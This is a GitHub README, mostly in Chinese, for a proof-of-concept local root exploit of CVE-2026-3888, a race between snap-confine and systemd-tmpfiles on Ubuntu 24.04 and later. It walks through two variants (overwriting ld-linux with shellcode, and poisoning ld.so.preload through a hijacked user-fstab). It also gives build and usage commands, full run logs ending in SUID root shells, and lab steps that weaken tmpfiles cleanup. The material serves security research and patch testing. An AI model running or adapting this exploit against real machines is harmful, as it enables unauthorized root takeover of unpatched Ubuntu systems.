TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

GitHub: TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

利用 snap-confine 与 systemd-tmpfiles 间 TOCTOU 竞态条件实现 Ubuntu Desktop 24.04+ 本地权限提升的 PoC 代码。

Stars: 0 | Forks: 0

# CVE-2026-3888 — snap-confine / systemd-tmpfiles 本地权限提升 在 Ubuntu Desktop 24.04+ 上,通过利用 `snap-confine` 和 `systemd-tmpfiles` 之间的 TOCTOU 竞态条件,实现从非特权用户到完整 root 权限的本地提权。提供了两种变体:**SUID** 和 **Capabilities**。 **CVSS:** 7.8 (高危) | **公告:** [Qualys](https://cdn2.qualys.com/advisory/2026/03/17/snap-confine-systemd-tmpfiles.txt) | **补丁:** snapd 2.74.2, 2026年3月17日 ## 目录 - [变体对比](#variant-comparison) - [变体 1 — SUID](#variant-1--suid) - [原理](#how-it-works) - [文件](#files) - [构建](#build) - [用法](#usage) - [要求](#requirements) - [输出](#output) - [变体 2 — Capabilities](#variant-2--capabilities-ubuntu-2510) - [原理](#how-it-works-1) - [文件](#files-1) - [构建](#build-1) - [用法](#usage-1) - [要求](#requirements-1) - [输出](#output-1) - [实验环境搭建](#lab-setup) - [免责声明](#disclaimer) ## 变体对比 | | Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) | | ------------------ | ----------------------------------------------- | -------------------------------------------------- | | snap-confine | SUID-root | Capabilities (`cap_sys_admin` 等) | | 目标 snap | firefox | snap-store | | 模拟目标 | `/usr/lib/x86_64-linux-gnu` (~285 项) | `/var/lib` (~17 项) | | 漏洞利用向量 | 用 shellcode 覆盖 `ld-linux-x86-64.so.2` | 控制 `user-fstab` + `ld.so.preload` | | Payload 格式 | 使用原始系统调用的静态 ELF | 带有 `__attribute__((constructor))` 的共享库 | | Root 触发器 | SUID snap-confine 加载被污染的动态链接器 | `/tmp/.snap` 中的 SUID `su` 预加载 `.so` | | cgroup 要求 | 任意 `snap.*` 名称 | 精确匹配: `snap.snap-store.hook.configure` | | `.snap` 清理 | 30 天 | 10 天 | | 沙箱逃逸 | `/var/snap/firefox/common/bash` | `/var/snap/snap-store/common/bash` | ## 变体 1 — SUID ### 原理 1. `systemd-tmpfiles` 删除 `/tmp` 下过期的 `.snap` 模拟目录(30天超时) 2. 攻击者重建该目录并填充受控内容 —— 所有文件归攻击者所有 3. 漏洞利用程序通过 AF_UNIX 套接字背压单步执行 `snap-confine`,从而在模拟绑定挂载序列期间可靠地赢得竞态 4. 归攻击者所有的库以 root 身份挂载到沙箱中 5. `ld-linux-x86-64.so.2` 被替换为调用 `setreuid(0,0)` + `execve` 的 shellcode 6. 执行 SUID `snap-confine` 会以 root 权限触发该 shellcode 7. SUID bash 被释放到 `/var/snap/firefox/common/` 以逃离沙箱 ### 文件 | 文件 | 描述 | | --------------------- | ------------------------------------------------------------ | | `exploit_suid.c` | 统一的单二进制漏洞利用程序 —— 基于分叉的编排器包含全部 7 个阶段 | | `librootshell_suid.c` | Payload —— 通过原始 x86_64 系统调用替换 `ld-linux-x86-64.so.2` 的最小 ELF | ### 构建 ``` gcc -O2 -static -o exploit exploit_suid.c gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c ``` 两者都必须在 x86_64 Linux 上编译(或为其交叉编译)。`exploit` 是静态链接的,因此它可以在 snap 沙箱内运行而无需库依赖。`librootshell.so` 使用 `-nostdlib`,因为它仅包含原始系统调用 —— 没有 libc。 ### 用法 ``` ./exploit [-d] [-s] ``` | 标志 | 描述 | | ---- | ------------------------------------------------------ | | `-d` | 显示 snap-confine 调试输出(详细模式) | | `-s` | 跳过 `.snap` 清理等待(需要 root 密码) | ``` # 正常运行 ./exploit ./librootshell.so # Debug 模式 ./exploit ./librootshell.so -d # 失败后重试 ./exploit ./librootshell.so -s ``` 漏洞利用程序进入沙箱,等待 `systemd-tmpfiles` 删除 `.snap`(在原生 Ubuntu 25.10 上最长 10 天,在原生 Ubuntu 24.04 上最长 30 天),然后自动运行竞态攻击。成功后,降级为 root shell。 ### 要求 - 安装了未打补丁的 snapd(< 2.74.2)的 Ubuntu 24.04+ - `snap-confine` 必须是 SUID-root(`-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine`) - 安装了带有布局绑定挂载的 snap(firefox, snap-store 等) - `systemd-tmpfiles-clean.timer` 处于活动状态 - 目标上可用 `busybox`(`/usr/bin/busybox`) ### 输出 ``` user@ubuntu:~$ snap --version snap 2.63.1+24.04 snapd 2.63.1+24.04 series 16 ubuntu 24.04 kernel 6.17.0-19-generic user@ubuntu:~$ cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=24.04 DISTRIB_CODENAME=noble DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS" user@ubuntu:~$ id uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin) user@ubuntu:~$ ./exploit ./librootshell.so ================================================================ CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE ================================================================ [*] Payload: /home/user/./librootshell.so (9056 bytes) [Phase 1] Entering Firefox sandbox... [+] Inner shell PID: 3122 [Phase 2] Waiting for .snap deletion... [*] Polling (up to 30 days on stock Ubuntu). [*] Hint: use -s to skip. [+] .snap deleted. [Phase 3] Destroying cached mount namespace... cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory [+] Namespace destroyed. [Phase 4] Setting up and running the race... [*] Working directory: /proc/3122/cwd [*] Building .snap and .exchange... [*] 285 entries copied to exchange directory [*] Starting race... [*] Monitoring snap-confine (child PID 3543)... [!] TRIGGER — swapping directories... [+] SWAP DONE — race won! [*] ld-linux in namespace: user:user 755 [+] Poisoned namespace PID: 3543 [Phase 5] Injecting payload into poisoned namespace... [+] ld-linux owned by uid 1000 (attacker). Race confirmed. [*] Planting busybox... [*] Writing escape script → /tmp/sh [*] Overwriting ld-linux-x86-64.so.2... [+] Payload injected. [Phase 6] Triggering root via SUID snap-confine... [*] snap-confine → snap-confine (SUID trigger) [*] Exit status: 0 [Phase 7] Verifying... [+] SUID root bash: /var/snap/firefox/common/bash (mode 4755) [*] Cleaning up background processes... ================================================================ ROOT SHELL: /var/snap/firefox/common/bash -p ================================================================ bash-5.1# id uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin) ``` ## 变体 2 — Capabilities ### 原理 1. `systemd-tmpfiles` 删除 `/tmp` 下过期的 `.snap` 模拟目录 2. 攻击者重建该目录并填充受控内容 —— 所有文件归攻击者所有 3. 漏洞利用程序通过 AF_UNIX 套接字背压单步执行 `snap-confine`,从而在 `/var/lib` 模拟绑定挂载序列期间可靠地赢得竞态 4. 攻击者获得对 `/var/lib/snapd/mount/snap.snap-store.user-fstab` 的控制权 5. `user-fstab` 条目将一个被污染的 `/etc`(包含 `ld.so.preload`)绑定挂载到沙箱中 6. 从 `/tmp/.snap` 执行 SUID-root 的 `su` 二进制文件会预加载 `librootshell.so`,该库调用 `setreuid(0,0)` + `execve("/tmp/sh")` 7. SUID bash 被释放到 `/var/snap/snap-store/common/` 以逃离沙箱 ### 文件 | 文件 | 描述 | | --------------------- | ------------------------------------------------------------ | | `exploit_caps.c` | 统一的单二进制漏洞利用程序 —— 基于分叉的编排器包含全部 7 个阶段 | | `librootshell_caps.c` | Payload —— 带有构造函数的共享库,该函数调用 `setreuid(0,0)` + `execve` | ### 构建 ``` gcc -O2 -static -o exploit exploit_caps.c gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c ``` 两者都必须在 x86_64 Linux 上编译(或为其交叉编译)。`exploit` 是静态链接的,因此它可以在 snap 沙箱内运行而无需库依赖。`librootshell.so` 使用 `-nostartfiles` 和一个 `__attribute__((constructor))` —— 它通过 `ld.so.preload` 在目标二进制文件的 `main()` 之前加载。 ### 用法 ``` ./exploit [-d] [-s] ``` | 标志 | 描述 | | ---- | ------------------------------------------------------------ | | `-d` | 显示 snap-confine 调试输出(详细模式) | | `-s` | 跳过 `.snap` 清理等待(当 `.snap` 已消失时使用) | ``` # 正常运行 ./exploit ./librootshell.so # Debug 模式 ./exploit ./librootshell.so -d # 跳过等待 (重试) ./exploit ./librootshell.so -s ``` 漏洞利用程序进入沙箱,等待 `systemd-tmpfiles` 删除 `.snap`(在原生 Ubuntu 25.10 上最长 10 天,在原生 Ubuntu 24.04 上最长 30 天),然后自动运行竞态攻击。成功后,降级为 root shell。 ### 要求 - 安装了未打补丁的 snapd(< 2.74.2,在 2.71.1 上测试)的 Ubuntu Desktop 24.04+ - `snap-confine` 必须具有 capabilities(`cap_sys_admin`, `cap_chown`, `cap_dac_override` 等) - 安装了 `snap-store` snap(Ubuntu Desktop 默认) - 安装了 `core22` 基础 snap - `systemd-tmpfiles-clean.timer` 处于活动状态 - 目标上可用 `busybox`(`/usr/bin/busybox`) ### 输出 ``` user@ubuntu:~$ snap --version snap 2.71.1+ubuntu25.10.1 snapd 2.71.1+ubuntu25.10.1 series 16 ubuntu 25.10 kernel 6.17.0-19-generic user@ubuntu:~$ cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=25.10 DISTRIB_CODENAME=questing DISTRIB_DESCRIPTION="Ubuntu 25.10" user@ubuntu:~$ ./exploit ./librootshell.so ================================================================ CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE ================================================================ [*] Payload: /home/user/./librootshell.so (14320 bytes) [Phase 1] Entering snap-store sandbox... [+] Inner shell PID: 3501 [Phase 2] Waiting for .snap deletion... [*] Polling (up to 10 days on Ubuntu 25.10). [*] Hint: use -s to skip. [+] .snap deleted. [Phase 3] Destroying cached mount namespace... cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory [+] Namespace destroyed (.mnt gone). [Phase 4] Setting up and running the race... [*] Working directory: /proc/3501/cwd [*] Building .snap and .exchange... [*] 17 entries copied to exchange directory [*] Starting race... [*] Monitoring snap-confine (child PID 3678)... [!] TRIGGER — swapping directories... [+] SWAP DONE — race won! [+] Race won. /var/lib/snapd is now user-owned. [Phase 5] Setting up payload and user-fstab... [*] Copying /etc to .snap/etc... [*] Writing ld.so.preload... [*] Writing user-fstab... [*] Copying librootshell.so to /tmp/... [*] Copying busybox... [*] Writing escape script... [*] Swapping var/lib back (restoring original snapd metadata)... [+] Payload ready. [Phase 6] Triggering root via SUID binary in /tmp/.snap... [*] Executing: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su [*] Exit status: 0 [Phase 7] Verifying... [+] SUID root bash: /var/snap/snap-store/common/bash (mode 4755) [*] Cleaning up background processes... ================================================================ ROOT SHELL: /var/snap/snap-store/common/bash -p ================================================================ bash-5.1# id uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin) ``` ## 实验环境搭建 在原生 Ubuntu 安装中,`.snap` 清理需要 30 天(24.04)或 10 天(25.10)。为了在测试中加速此过程,请减少 `/tmp` 存留时间和定时器间隔: ### 将 /tmp 清理存留时间减少至 4 分钟 编辑 `/usr/lib/tmpfiles.d/tmp.conf`(以 root 身份): ``` # 将 30d 的 age 更改为 4m sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf ``` 验证: ``` grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf # 应显示:q /tmp 1777 root root 4m ``` ### 将清理定时器加速至每分钟运行一次 ``` sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF' [Timer] OnBootSec=1m OnUnitActiveSec=1m EOF sudo systemctl daemon-reload sudo systemctl restart systemd-tmpfiles-clean.timer ``` 验证: ``` systemctl list-timers systemd-tmpfiles-clean # NEXT 列应显示距离现在约 1 分钟 ``` ### 移除 .snap 排除项(仅限 snapd 2.73+) snapd 2.73+ 添加了一条排除规则,阻止 tmpfiles 清理 `.snap`。如果你的系统有此规则,请检查并移除它: ``` cat /usr/lib/tmpfiles.d/snapd.conf # 如果你看到:x /tmp/snap-private-tmp/*/tmp/.snap # 删除该行,或将 snapd 降级到 2.71.1 ``` 使用这些设置,`.snap` 将在过时后约 5 分钟内被清理,从而允许在测试期间快速迭代。 ## 免责声明 本代码仅供教育目的、经授权的安全研究以及已获得明确书面许可的渗透测试项目使用。作者不对本软件的滥用承担任何责任。使用本代码即表示你同意自行承担你的行为及其使用后果的责任。请勿对你不拥有或未获得明确测试授权的系统使用本代码。
标签:0day挖掘, Capabilities, CVE-2026-3888, CVSS 7.8, Exploit, POC, Qualys, Root, Snap-confine, Snapd, SUID, Systemd-tmpfiles, TOCTOU, Web报告查看器, 代码执行, 内核安全, 动态链接器劫持, 协议分析, 子域名枚举, 客户端加密, 本地提权, 权限提升, 沙箱逃逸, 竞态条件, 系统安全, 网络安全, 隐私保护